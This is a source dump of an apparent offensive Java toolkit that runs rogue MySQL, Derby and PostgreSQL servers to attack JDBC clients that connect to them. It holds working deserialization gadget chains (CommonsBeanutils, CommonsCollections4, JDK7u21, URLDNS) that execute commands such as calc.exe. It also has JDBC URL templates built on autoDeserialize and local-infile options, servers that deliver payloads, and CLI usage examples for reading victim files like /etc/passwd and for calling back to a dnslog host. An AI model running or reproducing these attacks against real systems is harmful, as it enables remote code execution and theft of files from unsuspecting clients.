-------------------------------------------------------------------------------- /fake-mysql-build/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | me.n1ar4 8 | FakeServer 9 | 0.0.4 10 | 11 | 12 | fake-mysql-build 13 | 14 | 15 | 8 16 | 8 17 | UTF-8 18 | 19 | 20 | -------------------------------------------------------------------------------- /fake-mysql-gadget/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | me.n1ar4 8 | FakeServer 9 | 0.0.4 10 | 11 | 12 | fake-mysql-gadget 13 | 14 | 15 | 8 16 | 8 17 | UTF-8 18 | 19 | 20 | -------------------------------------------------------------------------------- /fake-mysql-proto/src/main/java/me/n1ar4/fake/proto/RequestDecoder.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.proto; 2 | 3 | import org.apache.logging.log4j.LogManager; 4 | import org.apache.logging.log4j.Logger; 5 | 6 | import java.util.Arrays; 7 | 8 | public class RequestDecoder { 9 | private static final Logger log = LogManager.getLogger(RequestDecoder.class); 10 | private int command; 11 | private String statement; 12 | 13 | public RequestDecoder(byte[] data) { 14 | if (data.length < 5) { 15 | log.warn("request too short"); 16 | return; 17 | } 18 | this.command = data[4]; 19 | this.statement = new String(Arrays.copyOfRange(data, 5, data.length)); 20 | } 21 | 22 | public int getCommand() { 23 | return command; 24 | } 25 | 26 | public String getStatement() { 27 | return statement; 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /fake-mysql-proto/src/main/java/me/n1ar4/fake/proto/FirstRespMessage.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.proto; 2 | 3 | import org.apache.logging.log4j.LogManager; 4 | import org.apache.logging.log4j.Logger; 5 | 6 | import java.io.ByteArrayOutputStream; 7 | 8 | public class FirstRespMessage { 9 | private static final Logger log = LogManager.getLogger(FirstRespMessage.class); 10 | private byte[] data; 11 | 12 | public void setData(byte[] data) { 13 | this.data = data; 14 | } 15 | 16 | public String getUsername() { 17 | ByteArrayOutputStream bao = new ByteArrayOutputStream(); 18 | if (data.length < 40) { 19 | log.error("data is too short"); 20 | return null; 21 | } 22 | for (int i = 36; ; i++) { 23 | if (data[i] == 0) { 24 | break; 25 | } 26 | bao.write(data[i]); 27 | } 28 | return bao.toString(); 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /fake-mysql-gadget/src/main/java/me/n1ar4/fake/gadget/SerUtil.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.gadget; 2 | 3 | import java.io.*; 4 | 5 | public class SerUtil { 6 | public static byte[] serializeObject(Object obj) { 7 | try (ByteArrayOutputStream baos = new ByteArrayOutputStream(); 8 | ObjectOutputStream oos = new ObjectOutputStream(baos)) { 9 | oos.writeObject(obj); 10 | return baos.toByteArray(); 11 | } catch (IOException e) { 12 | e.printStackTrace(); 13 | return null; 14 | } 15 | } 16 | 17 | public static Object deserializeObject(byte[] serializedData) { 18 | try (ByteArrayInputStream bais = new ByteArrayInputStream(serializedData); 19 | ObjectInputStream ois = new ObjectInputStream(bais)) { 20 | return ois.readObject(); 21 | } catch (IOException | ClassNotFoundException e) { 22 | e.printStackTrace(); 23 | return null; 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /.github/workflows/maven.yml: -------------------------------------------------------------------------------- 1 | # This workflow will build a Java project with Maven, and cache/restore any dependencies to improve the workflow execution time 2 | # For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-java-with-maven 3 | 4 | # This workflow uses actions that are not certified by GitHub. 5 | # They are provided by a third-party and are governed by 6 | # separate terms of service, privacy policy, and support 7 | # documentation. 8 | 9 | name: Java CI with Maven 10 | 11 | on: 12 | push: 13 | branches: [ "master" ] 14 | pull_request: 15 | branches: [ "master" ] 16 | 17 | jobs: 18 | build: 19 | 20 | runs-on: ubuntu-latest 21 | 22 | steps: 23 | - uses: actions/checkout@v3 24 | - name: Set up JDK 8 25 | uses: actions/setup-java@v3 26 | with: 27 | java-version: '8' 28 | distribution: 'temurin' 29 | cache: maven 30 | - name: Build with Maven 31 | run: mvn -B package --file pom.xml 32 | -------------------------------------------------------------------------------- /pgsql-xml-server/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | me.n1ar4 8 | FakeServer 9 | 0.0.4 10 | 11 | 12 | pgsql-xml-server 13 | 14 | 15 | 8 16 | 8 17 | UTF-8 18 | 19 | 20 | 21 | 22 | me.n1ar4 23 | fake-mysql-log 24 | 0.0.4 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /fake-mysql5-test/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | me.n1ar4 8 | FakeServer 9 | 0.0.4 10 | 11 | 12 | fake-mysql5-test 13 | 14 | 15 | 8 16 | 8 17 | UTF-8 18 | 19 | 20 | 21 | 22 | mysql 23 | mysql-connector-java 24 | 5.1.29 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /fake-mysql6-test/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | me.n1ar4 8 | FakeServer 9 | 0.0.4 10 | 11 | 12 | fake-mysql6-test 13 | 14 | 15 | 8 16 | 8 17 | UTF-8 18 | 19 | 20 | 21 | 22 | mysql 23 | mysql-connector-java 24 | 6.0.2 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /fake-mysql8-test/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | me.n1ar4 8 | FakeServer 9 | 0.0.4 10 | 11 | 12 | fake-mysql8-test 13 | 14 | 15 | 8 16 | 8 17 | UTF-8 18 | 19 | 20 | 21 | 22 | mysql 23 | mysql-connector-java 24 | 8.0.14 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /settings.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | aliyunmaven 14 | * 15 | aliyun 16 | https://maven.aliyun.com/repository/public 17 | 18 | 19 | maven-default-http-blocker 20 | external:http:* 21 | Pseudo repository to mirror external repositories initially using HTTP. 22 | http://0.0.0.0/ 23 | true 24 | 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /derby-evil-server/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | me.n1ar4 8 | FakeServer 9 | 0.0.4 10 | 11 | 12 | derby-evil-server 13 | 14 | 15 | 8 16 | 8 17 | UTF-8 18 | 19 | 20 | 21 | me.n1ar4 22 | fake-mysql-log 23 | 0.0.4 24 | compile 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /fake-mysql-proto/src/main/java/me/n1ar4/fake/proto/utils/ByteUtil.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.proto.utils; 2 | 3 | public class ByteUtil { 4 | public static byte[] int16ToByteArray(short value) { 5 | byte[] byteArray = new byte[2]; 6 | byteArray[0] = (byte) (value & 0xFF); 7 | byteArray[1] = (byte) ((value >> 8) & 0xFF); 8 | return byteArray; 9 | } 10 | 11 | public static byte[] int3ToBytes(int value) { 12 | byte[] bytes = new byte[3]; 13 | bytes[0] = (byte) ((value >> 16) & 0xFF); 14 | bytes[1] = (byte) ((value >> 8) & 0xFF); 15 | bytes[2] = (byte) (value & 0xFF); 16 | return bytes; 17 | } 18 | 19 | public static byte[] ReverseBytes(byte[] byteArray) { 20 | int left = 0; 21 | int right = byteArray.length - 1; 22 | while (left < right) { 23 | byte temp = byteArray[left]; 24 | byteArray[left] = byteArray[right]; 25 | byteArray[right] = temp; 26 | left++; 27 | right--; 28 | } 29 | return byteArray; 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /fake-mysql-proto/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | me.n1ar4 8 | FakeServer 9 | 0.0.4 10 | 11 | 12 | fake-mysql-proto 13 | 14 | 15 | 8 16 | 8 17 | UTF-8 18 | 19 | 20 | 21 | 22 | me.n1ar4 23 | fake-mysql-log 24 | 0.0.4 25 | 26 | 27 | me.n1ar4 28 | fake-mysql-gadget 29 | 0.0.4 30 | 31 | 32 | 33 | -------------------------------------------------------------------------------- /pgsql-rce-test/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | me.n1ar4 8 | FakeServer 9 | 0.0.4 10 | 11 | 12 | pgsql-rce-test 13 | 14 | 15 | 8 16 | 8 17 | UTF-8 18 | 19 | 20 | 21 | 22 | org.postgresql 23 | postgresql 24 | 42.3.1 25 | 26 | 27 | org.springframework 28 | spring-context-support 29 | 5.3.23 30 | 31 | 32 | 33 | -------------------------------------------------------------------------------- /fake-mysql-proto/src/main/java/me/n1ar4/fake/proto/utils/LenUtil.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.proto.utils; 2 | 3 | import java.nio.ByteBuffer; 4 | import java.nio.ByteOrder; 5 | 6 | public class LenUtil { 7 | public static byte[] write(long data) { 8 | if (data < 0) { 9 | throw new IllegalArgumentException(); 10 | } else if (data < 251) { 11 | return new byte[]{(byte) data}; 12 | } else if (data < Math.pow(2, 16)) { 13 | ByteBuffer buffer = ByteBuffer.allocate(3).order(ByteOrder.LITTLE_ENDIAN); 14 | buffer.put((byte) 0xFC); 15 | buffer.putShort((short) data); 16 | return buffer.array(); 17 | } else if (data < Math.pow(2, 24)) { 18 | ByteBuffer buffer = ByteBuffer.allocate(4).order(ByteOrder.LITTLE_ENDIAN); 19 | buffer.put((byte) 0xFD); 20 | buffer.putShort((short) data); 21 | buffer.put((byte) (data >> 16)); 22 | return buffer.array(); 23 | } else if (data < Math.pow(2, 64)) { 24 | ByteBuffer buffer = ByteBuffer.allocate(9).order(ByteOrder.LITTLE_ENDIAN); 25 | buffer.put((byte) 0xFE); 26 | buffer.putLong(data); 27 | return buffer.array(); 28 | } else { 29 | throw new IllegalArgumentException(); 30 | } 31 | } 32 | } -------------------------------------------------------------------------------- /fake-mysql-gui/src/main/java/me/n1ar4/fake/gui/Constant.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.gui; 2 | 3 | public interface Constant { 4 | String STOP = "STOP"; 5 | String RUNNING = "RUNNING"; 6 | String FakeServer = "FakeServer"; 7 | String MySQLReadFile56Temp = "jdbc:mysql://%s/test?" + 8 | "allowLoadLocalInfile=true&" + 9 | "allowUrlInLocalInfile=true&" + 10 | "allowLoadLocalInfileInPath=/&" + 11 | "maxAllowedPacket=65536&user=%s"; 12 | String MySQLReadFile8Temp = "jdbc:mysql://%s/test?user=%s"; 13 | String MySQL5119T5128DTemp = "jdbc:mysql://%s/test?autoDeserialize=true&user=%s"; 14 | String MySQL5129T5148DTemp = "jdbc:mysql://%s/test?detectCustomCollations=true&autoDeserialize=true&user=%s"; 15 | String MySQL6XDTemp = "jdbc:mysql://%s/test?detectCustomCollations=true&autoDeserialize=true&user=%s"; 16 | String MySQL510T5XSTemp = "jdbc:mysql://%s/test?autoDeserialize=true&statementInterceptors=" + 17 | "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=%s"; 18 | String MySQL6XSTemp = "jdbc:mysql://%s/test?autoDeserialize=true&statementInterceptors=" + 19 | "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=%s"; 20 | String MySQLT8020STemp = "jdbc:mysql://%s/test?autoDeserialize=true&queryInterceptors=" + 21 | "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=%s"; 22 | } 23 | -------------------------------------------------------------------------------- /derby-evil-server/src/main/java/me/n1ar4/derby/EvilSlaveServer.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.derby; 2 | 3 | import me.n1ar4.fake.log.LogUtil; 4 | 5 | import java.net.InetSocketAddress; 6 | import java.net.ServerSocket; 7 | import java.net.Socket; 8 | import java.util.Base64; 9 | 10 | public class EvilSlaveServer { 11 | private static int thePort; 12 | private static volatile boolean stopFlag = false; 13 | 14 | public static void stop() { 15 | stopFlag = true; 16 | } 17 | 18 | @SuppressWarnings("all") 19 | public static void start(String host, int port, String baseData) throws Exception { 20 | stopFlag = false; 21 | thePort = port; 22 | byte[] data = Base64.getDecoder().decode(baseData); 23 | ServerSocket server = new ServerSocket(); 24 | InetSocketAddress address = new InetSocketAddress("0.0.0.0", port); 25 | server.bind(address); 26 | while (true) { 27 | if (stopFlag) { 28 | LogUtil.log("derby receive exit signal"); 29 | break; 30 | } 31 | Socket socket = server.accept(); 32 | LogUtil.log("derby receive request"); 33 | socket.getOutputStream().write(data); 34 | socket.getOutputStream().flush(); 35 | Thread.sleep(500); 36 | socket.close(); 37 | } 38 | server.close(); 39 | } 40 | 41 | public static int getPort() { 42 | return thePort; 43 | } 44 | } -------------------------------------------------------------------------------- /pgsql-xml-server/src/main/java/me/n1ar4/fake/pgsql/XmlServer.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.pgsql; 2 | 3 | import com.sun.net.httpserver.HttpServer; 4 | import me.n1ar4.fake.log.LogUtil; 5 | 6 | import java.io.IOException; 7 | import java.net.InetAddress; 8 | import java.net.InetSocketAddress; 9 | 10 | public class XmlServer { 11 | private static HttpServer server; 12 | private static volatile boolean stopFlag = false; 13 | 14 | public static void stop() { 15 | stopFlag = true; 16 | } 17 | 18 | @SuppressWarnings("all") 19 | public static void start(String host, int port, String targetOS, String cmd, String path) throws IOException { 20 | stopFlag = false; 21 | InetAddress inetAddress = InetAddress.getByName(host); 22 | server = HttpServer.create(new InetSocketAddress(inetAddress, port), 0); 23 | server.createContext(path, new XmlHandler(targetOS, cmd)); 24 | server.setExecutor(null); 25 | new Thread(() -> { 26 | while (true) { 27 | if (stopFlag) { 28 | server.stop(0); 29 | return; 30 | } 31 | try { 32 | Thread.sleep(500); 33 | } catch (InterruptedException e) { 34 | throw new RuntimeException(e); 35 | } 36 | } 37 | }).start(); 38 | LogUtil.log("server started on port " + port); 39 | server.start(); 40 | } 41 | } -------------------------------------------------------------------------------- /fake-mysql-cli/src/main/java/me/n1ar4/fake/cli/Cli.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.cli; 2 | 3 | import com.beust.jcommander.JCommander; 4 | import com.beust.jcommander.Parameter; 5 | import me.n1ar4.fake.proto.GadgetResolver; 6 | import me.n1ar4.fake.proto.MySQLServer; 7 | 8 | import java.nio.file.Files; 9 | import java.nio.file.Paths; 10 | 11 | public class Cli { 12 | @Parameter(names = {"-p", "--port"}, description = "port") 13 | private int port; 14 | 15 | @Parameter(names = {"-f", "--file"}, description = "gadget file") 16 | private String customGadget; 17 | 18 | public static void main(String[] args) { 19 | Cli main = new Cli(); 20 | System.setProperty("sun.stdout.encoding", "utf-8"); 21 | JCommander.newBuilder() 22 | .addObject(main) 23 | .build() 24 | .parse(args); 25 | main.run(); 26 | } 27 | 28 | private void run() { 29 | if (port == 0) { 30 | port = 3308; 31 | } 32 | MySQLServer.setIp("0.0.0.0"); 33 | MySQLServer.setPort(port); 34 | PrintUtil.print(); 35 | 36 | if (customGadget != null && !customGadget.isEmpty()) { 37 | try { 38 | GadgetResolver.setCustomGadget(new String(Files.readAllBytes(Paths.get(customGadget)))); 39 | System.out.println("set custom gadget finish"); 40 | } catch (Exception ex) { 41 | ex.printStackTrace(); 42 | } 43 | } 44 | 45 | MySQLServer.StartServer(); 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /fake-mysql-gadget/src/main/java/me/n1ar4/fake/gadget/CC44.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.gadget; 2 | 3 | import org.apache.commons.collections4.comparators.TransformingComparator; 4 | import org.apache.commons.collections4.functors.InvokerTransformer; 5 | 6 | import java.util.PriorityQueue; 7 | 8 | @SuppressWarnings("all") 9 | public class CC44 { 10 | public static void main(final String[] args) throws Exception { 11 | CC44 c = new CC44(); 12 | Object o = c.getObject("calc.exe"); 13 | SerUtil.deserializeObject(SerUtil.serializeObject(o)); 14 | } 15 | 16 | public Object getObject(final String command) throws Exception { 17 | final Object templates = Gadgets.createTemplatesImpl(command); 18 | // mock method name until armed 19 | final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 20 | 21 | // create queue with numbers and basic comparator 22 | final PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(transformer)); 23 | // stub data for replacement later 24 | queue.add(1); 25 | queue.add(1); 26 | 27 | // switch method called by comparator 28 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 29 | 30 | // switch contents of queue 31 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 32 | queueArray[0] = templates; 33 | queueArray[1] = 1; 34 | 35 | return queue; 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /fake-mysql-gadget/src/main/java/me/n1ar4/fake/gadget/JDK7U21.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.gadget; 2 | 3 | import javax.xml.transform.Templates; 4 | import java.lang.reflect.InvocationHandler; 5 | import java.util.HashMap; 6 | import java.util.LinkedHashSet; 7 | 8 | @SuppressWarnings("all") 9 | public class JDK7U21 { 10 | public static void main(final String[] args) throws Exception { 11 | JDK7U21 c = new JDK7U21(); 12 | Object o = c.getObject("calc.exe"); 13 | SerUtil.deserializeObject(SerUtil.serializeObject(o)); 14 | } 15 | 16 | public Object getObject(final String command) throws Exception { 17 | final Object templates = Gadgets.createTemplatesImpl(command); 18 | 19 | String zeroHashCodeStr = "f5a5a608"; 20 | 21 | HashMap map = new HashMap(); 22 | map.put(zeroHashCodeStr, "foo"); 23 | 24 | InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor( 25 | Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); 26 | Reflections.setFieldValue(tempHandler, "type", Templates.class); 27 | Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); 28 | 29 | LinkedHashSet set = new LinkedHashSet(); // maintain order 30 | set.add(templates); 31 | set.add(proxy); 32 | 33 | Reflections.setFieldValue(templates, "_auxClasses", null); 34 | Reflections.setFieldValue(templates, "_class", null); 35 | 36 | map.put(zeroHashCodeStr, templates); // swap in real object 37 | 38 | return set; 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /derby-rce-test/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | me.n1ar4 8 | FakeServer 9 | 0.0.4 10 | 11 | 12 | derby-rce-test 13 | 14 | 15 | 8 16 | 8 17 | UTF-8 18 | 19 | 20 | 21 | 22 | commons-beanutils 23 | commons-beanutils 24 | 25 | 26 | org.apache.derby 27 | derby 28 | 10.13.1.1 29 | 30 | 31 | org.apache.derby 32 | derbytools 33 | 10.13.1.1 34 | 35 | 36 | org.apache.derby 37 | derbyclient 38 | 10.13.1.1 39 | 40 | 41 | -------------------------------------------------------------------------------- /fake-mysql-gadget/src/main/java/me/n1ar4/fake/gadget/ClassFiles.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.gadget; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import java.io.InputStream; 6 | 7 | public class ClassFiles { 8 | public static String classAsFile(final Class clazz) { 9 | return classAsFile(clazz, true); 10 | } 11 | 12 | public static String classAsFile(final Class clazz, boolean suffix) { 13 | String str; 14 | if (clazz.getEnclosingClass() == null) { 15 | str = clazz.getName().replace(".", "/"); 16 | } else { 17 | str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); 18 | } 19 | if (suffix) { 20 | str += ".class"; 21 | } 22 | return str; 23 | } 24 | 25 | public static byte[] classAsBytes(final Class clazz) { 26 | try { 27 | final byte[] buffer = new byte[1024]; 28 | final String file = classAsFile(clazz); 29 | final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); 30 | if (in == null) { 31 | throw new IOException("couldn't find '" + file + "'"); 32 | } 33 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 34 | int len; 35 | while ((len = in.read(buffer)) != -1) { 36 | out.write(buffer, 0, len); 37 | } 38 | return out.toByteArray(); 39 | } catch (IOException e) { 40 | throw new RuntimeException(e); 41 | } 42 | } 43 | 44 | } -------------------------------------------------------------------------------- /fake-mysql-gadget/src/main/java/me/n1ar4/fake/gadget/Converter.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.gadget; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.DataOutputStream; 5 | import java.io.IOException; 6 | import java.io.ObjectOutputStream; 7 | 8 | // adapted from http://slightlyrandombrokenthoughts.blogspot.com/2010/08/breaking-defensive-serialization.html 9 | public class Converter { 10 | public static byte[] toBytes(Object[] objs) throws IOException { 11 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 12 | DataOutputStream dos = new DataOutputStream(baos); 13 | for (Object obj : objs) { 14 | treatObject(dos, obj); 15 | } 16 | dos.close(); 17 | return baos.toByteArray(); 18 | } 19 | 20 | public static void treatObject(DataOutputStream dos, Object obj) 21 | throws IOException { 22 | if (obj instanceof Byte) { 23 | dos.writeByte((Byte) obj); 24 | } else if (obj instanceof Short) { 25 | dos.writeShort((Short) obj); 26 | } else if (obj instanceof Integer) { 27 | dos.writeInt((Integer) obj); 28 | } else if (obj instanceof Long) { 29 | dos.writeLong((Long) obj); 30 | } else if (obj instanceof String) { 31 | dos.writeUTF((String) obj); 32 | } else { 33 | ByteArrayOutputStream ba = new ByteArrayOutputStream(); 34 | ObjectOutputStream oos = new ObjectOutputStream(ba); 35 | oos.writeObject(obj); 36 | oos.close(); 37 | dos.write(ba.toByteArray(), 4, ba.size() - 4); // 4 = skip the header 38 | } 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /fake-mysql-proto/src/main/java/me/n1ar4/fake/proto/PacketHelper.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.proto; 2 | 3 | import me.n1ar4.fake.proto.utils.ByteUtil; 4 | import org.apache.logging.log4j.LogManager; 5 | import org.apache.logging.log4j.Logger; 6 | 7 | import java.io.ByteArrayOutputStream; 8 | import java.io.InputStream; 9 | import java.util.Arrays; 10 | 11 | public class PacketHelper { 12 | private static final Logger log = LogManager.getLogger(PacketHelper.class); 13 | 14 | public static byte[] readData(InputStream inputStream) { 15 | try { 16 | byte[] buffer = new byte[1024 * 10]; 17 | int bytesRead = inputStream.read(buffer); 18 | if (bytesRead != -1) { 19 | return Arrays.copyOf(buffer, bytesRead); 20 | } 21 | } catch (Exception ex) { 22 | log.error("socket error"); 23 | } 24 | return new byte[]{}; 25 | } 26 | 27 | public static byte[] buildPacket(int num, byte[] d) { 28 | try { 29 | if (d.length > 16777216) { 30 | log.error("packet is too long"); 31 | return null; 32 | } 33 | ByteArrayOutputStream out = new ByteArrayOutputStream(); 34 | byte[] lenHex = ByteUtil.ReverseBytes(ByteUtil.int3ToBytes(d.length)); 35 | byte[] numHex = ColumnPacket.hexToBytes(String.format("%02d", num)); 36 | out.write(lenHex); 37 | out.write(numHex); 38 | out.write(d); 39 | return out.toByteArray(); 40 | } catch (Exception ex) { 41 | ex.printStackTrace(); 42 | } 43 | return new byte[]{}; 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /fake-mysql-build/src/main/java/me/n1ar4/fake/Build.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake; 2 | 3 | import java.nio.file.Files; 4 | import java.nio.file.Path; 5 | import java.nio.file.Paths; 6 | 7 | public class Build { 8 | static String oldVersion = "0.0.3"; 9 | static String newVersion = "0.0.4"; 10 | 11 | public static void main(String[] args) throws Exception { 12 | Path rootPom = Paths.get("pom.xml"); 13 | Path m5Pom = Paths.get("fake-mysql5-test/pom.xml"); 14 | Path m6Pom = Paths.get("fake-mysql6-test/pom.xml"); 15 | Path m8Pom = Paths.get("fake-mysql8-test/pom.xml"); 16 | Path buildPom = Paths.get("fake-mysql-build/pom.xml"); 17 | Path cliPom = Paths.get("fake-mysql-cli/pom.xml"); 18 | Path gadgetPom = Paths.get("fake-mysql-gadget/pom.xml"); 19 | Path guiPom = Paths.get("fake-mysql-gui/pom.xml"); 20 | Path logPom = Paths.get("fake-mysql-log/pom.xml"); 21 | Path protoPom = Paths.get("fake-mysql-proto/pom.xml"); 22 | Path version = Paths.get("fake-mysql-proto/src/main/java/me/n1ar4/fake/proto/Version.java"); 23 | 24 | replace(rootPom); 25 | replace(m5Pom); 26 | replace(m6Pom); 27 | replace(m8Pom); 28 | replace(buildPom); 29 | replace(cliPom); 30 | replace(gadgetPom); 31 | replace(guiPom); 32 | replace(logPom); 33 | replace(protoPom); 34 | replace(version); 35 | } 36 | 37 | private static void replace(Path path) throws Exception { 38 | byte[] data = Files.readAllBytes(path); 39 | String newData = new String(data).replace(oldVersion, newVersion); 40 | Files.write(path, newData.getBytes()); 41 | } 42 | } -------------------------------------------------------------------------------- /fake-mysql-gadget/src/main/java/me/n1ar4/fake/gadget/CB.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.gadget; 2 | 3 | import org.apache.commons.beanutils.BeanComparator; 4 | 5 | import java.math.BigInteger; 6 | import java.nio.file.Files; 7 | import java.nio.file.Paths; 8 | import java.util.Base64; 9 | import java.util.PriorityQueue; 10 | 11 | @SuppressWarnings("all") 12 | public class CB { 13 | public static void main(String[] args) throws Exception { 14 | CB c = new CB(); 15 | Object obj = c.getObject("calc.exe"); 16 | String base64 = Base64.getEncoder().encodeToString(SerUtil.serializeObject(obj)); 17 | Files.write(Paths.get("test.txt"), base64.getBytes()); 18 | SerUtil.deserializeObject(SerUtil.serializeObject(obj)); 19 | } 20 | 21 | public Object getObject(final String command) throws Exception { 22 | final Object templates = Gadgets.createTemplatesImpl(command); 23 | // mock method name until armed 24 | final BeanComparator comparator = new BeanComparator("lowestSetBit"); 25 | 26 | // create queue with numbers and basic comparator 27 | final PriorityQueue queue = new PriorityQueue(2, comparator); 28 | // stub data for replacement later 29 | queue.add(new BigInteger("1")); 30 | queue.add(new BigInteger("1")); 31 | 32 | // switch method called by comparator 33 | Reflections.setFieldValue(comparator, "property", "outputProperties"); 34 | 35 | // switch contents of queue 36 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 37 | queueArray[0] = templates; 38 | queueArray[1] = templates; 39 | 40 | return queue; 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /fake-mysql-cli/src/main/java/me/n1ar4/fake/cli/PrintUtil.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.cli; 2 | 3 | import me.n1ar4.fake.proto.Version; 4 | 5 | public class PrintUtil { 6 | public static void print() { 7 | System.out.println("\u001B[33;1m   へ     /|\n  /\7    ∠_/\n  / " + 8 | "│   / /\n │ Z _,< /   /`ヽ\n │     ヽ   /  " + 9 | "〉\n  Y     `  /  /\n ?● ? ●  ??〈  /\n ()  へ" + 10 | "    | \〈\n  >? ?_  ィ  │ //\n  / へ   / ?<| \\" + 11 | "\n  ヽ_?  (_/  │//\n  7       |/\n  >―r ̄ ̄~∠--|"); 12 | System.out.println("\u001B[32;1m Fake MySQL Server Cli \u001B[0m"); 13 | System.out.println("\u001B[32;1m Version: " + Version.version + " \u001B[0m"); 14 | 15 | System.out.println("\u001B[32;1m############################# USAGE #############################\u001B[0m"); 16 | System.out.println("Deserialization user: deser_[gadget]_[params]"); 17 | System.out.println("\tGadget: CB|CC31|CC44|ROME|7U21|8U20|C3P0|URLDNS"); 18 | System.out.println("\t\tExample 1: deser_CB_calc.exe"); 19 | System.out.println("\t\tExample 2: deser_URLDNS_http://your-dns-log"); 20 | 21 | System.out.println(); 22 | System.out.println("Read file user: fileread_[name]"); 23 | System.out.println("\t\tExample 1: fileread_/etc/passwd"); 24 | System.out.println("\t\tExample 2: fileread_C:\\Program Files\\src.zip"); 25 | 26 | System.out.println(); 27 | System.out.println("Support raw string and base64 (start with base64)"); 28 | System.out.println("\t\tExample 1: user=deser_CB_calc.exe"); 29 | System.out.println("\t\tExample 2: user=base64ZGVzZXJfQ0JfY2FsYy5leGU="); 30 | 31 | System.out.println(); 32 | System.out.println("Support custom gadget (use file)"); 33 | System.out.println("\t\tExample: save gadget to test.txt"); 34 | System.out.println("\t\tUse: java -jar cli.jar -f test.txt"); 35 | System.out.println("\t\tUse: deser_CUSTOM"); 36 | System.out.println("\u001B[32;1m#################################################################\u001B[0m"); 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /fake-mysql-gadget/src/main/java/me/n1ar4/fake/gadget/URLDNS.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.gadget; 2 | 3 | import java.io.IOException; 4 | import java.net.InetAddress; 5 | import java.net.URL; 6 | import java.net.URLConnection; 7 | import java.net.URLStreamHandler; 8 | import java.util.HashMap; 9 | 10 | @SuppressWarnings("all") 11 | public class URLDNS { 12 | public static void main(final String[] args) throws Exception { 13 | URLDNS c = new URLDNS(); 14 | Object o = c.getObject("http://0ldebg.dnslog.cn"); 15 | SerUtil.deserializeObject(SerUtil.serializeObject(o)); 16 | } 17 | 18 | public Object getObject(final String url) throws Exception { 19 | 20 | //Avoid DNS resolution during payload creation 21 | //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload. 22 | URLStreamHandler handler = new SilentURLStreamHandler(); 23 | 24 | HashMap ht = new HashMap(); // HashMap that will contain the URL 25 | URL u = new URL(null, url, handler); // URL to use as the Key 26 | ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. 27 | 28 | Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. 29 | 30 | return ht; 31 | } 32 | 33 | /** 34 | *

